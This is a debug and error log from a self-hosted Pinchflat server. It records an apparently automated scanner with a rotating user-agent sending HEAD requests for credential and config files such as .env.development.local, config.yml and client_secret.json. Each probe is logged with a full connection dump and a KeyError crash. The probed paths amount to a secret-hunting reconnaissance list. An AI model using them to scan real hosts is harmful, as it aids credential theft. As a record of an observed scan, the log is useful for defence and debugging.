#PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3743.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https (truncated) 02:50:34.153 [info] HEAD /.env.development.local 02:50:34.154 [debug] QUERY OK source="settings" db=0.1ms idle=114.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.154 [debug] QUERY OK source="settings" db=0.0ms idle=15.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.154 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:34.154 [error] #PID<0.3744.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 13) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.development.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3744.0>, params: %{}, path_info: [".env.development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.development.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHU7k04tIOCQAAWZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3744.0>, params: %{}, path_info: [".env.development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/ (truncated) 02:50:34.189 [info] HEAD /config.yml 02:50:34.189 [debug] QUERY OK source="settings" db=0.2ms idle=49.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.189 [debug] QUERY OK source="settings" db=0.0ms idle=50.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.189 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:34.190 [error] #PID<0.3745.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 14) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /config.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3745.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHVEEFMLkoWAAAWaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not. (truncated) 02:50:34.277 [info] HEAD /client_secret.json 02:50:34.278 [debug] QUERY OK source="settings" db=0.3ms idle=138.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.278 [debug] QUERY OK source="settings" db=0.1ms idle=124.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.278 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:34.278 [error] #PID<0.3746.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 15) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /client_secret.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client_secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3746.0>, params: %{}, path_info: ["client_secret"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/client_secret.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHVZK-noUs0MAAWbB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client_secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", me (truncated) 02:50:34.280 [info] HEAD /.vscode/settings.json 02:50:34.280 [debug] QUERY OK source="settings" db=0.1ms idle=125.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.280 [debug] QUERY OK source="settings" db=0.1ms idle=90.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.280 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:34.280 [error] #PID<0.3747.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 16) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.vscode/settings.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3747.0>, params: %{}, path_info: [".vscode", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.vscode/settings.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, 